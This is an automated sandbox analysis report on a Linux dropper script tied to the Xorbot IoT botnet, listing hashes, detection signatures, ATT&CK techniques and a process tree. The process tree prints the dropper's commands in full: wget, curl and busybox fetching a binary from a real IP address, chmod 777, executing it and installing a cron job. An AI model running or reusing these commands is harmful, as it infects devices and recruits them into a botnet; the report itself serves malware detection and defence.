xorbot | eece9cdbc73eb1580c67ece7a9ef15da0bb6d087746ea7d602b6fa928f5dedd5

Analysis

max time kernel
149s
max time network
160s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/01/2025, 13:25

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General

Target

bins.sh
Size

10KB
MD5

25a7814863dd354a01cfd6baf43b95ff
SHA1

97db7e55d8e39803fa9534204594a595529eca73
SHA256

eece9cdbc73eb1580c67ece7a9ef15da0bb6d087746ea7d602b6fa928f5dedd5
SHA512

63140aaa26d29ae3adae546c6211b87e91228aeef409b69246f74ef47f6f8a887a60cc1690f66f652b0fcc978fa2a387f5b21a813732bfc0eccbb636661aa4bc
SSDEEP

192:/919DjWKEU3nHNB1nm+bNmvWh619DjWKrB1nm+1a:/ZEU3nHZkvWh6M

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2144) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
698	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW	700	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW

Renames itself 1 IoCs

pid	Process
701	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.ZTQFoh	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/312/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/773/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/791/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/923/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/325/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/867/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/922/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/978/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/994/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/968/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/11/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/14/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/653/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/731/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/757/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/964/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/749/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/896/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/912/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/920/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/10/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/332/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/727/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/796/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/814/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/908/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/28/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/799/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/911/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/102/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/144/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/778/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/905/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/945/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/987/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/771/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/795/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/4/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/27/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/110/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/159/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/274/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/730/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/866/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/983/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/20/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/150/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/951/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/112/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/654/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/733/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/737/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/744/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/930/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/942/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/649/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/784/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/802/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/865/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/892/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/937/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/8/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/742/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
File opened for reading	/proc/754/cmdline	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW	wget
File opened for modification	/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW	curl
File opened for modification	/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:656
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:659
- /usr/bin/wget
  wget http://66.63.187.225/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - Writes file to tmp directory
  PID:663
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:685
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - Writes file to tmp directory
  PID:690
- /bin/chmod
  chmod 777 crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  ./crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:700
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:702
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:703
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:705
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:706
- /bin/rm
  rm crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  PID:721
- /usr/bin/wget
  wget http://66.63.187.225/bins/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  2⤵
  PID:724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

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/var/spool/cron/crontabs/tmp.ZTQFoh

Filesize
210B

MD5
e9a04372f352b0a35ff1ad9e0c1a09a9

SHA1
bfe1a76ba6e76781f3699dce0eb2850e8fe584f6

SHA256
1ba41d09795a0035027f47a7da036518953ca38deb18b31e6b2637fcc8e2f31d

SHA512
814f1aa6132eb3b6ec9b2919c815d3f2fe47453d470fd5c2d9e566f977d161ca37d6d7f735806bd28afee472f819bd4a18abdd267aef97e28131e7fc012c432b

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads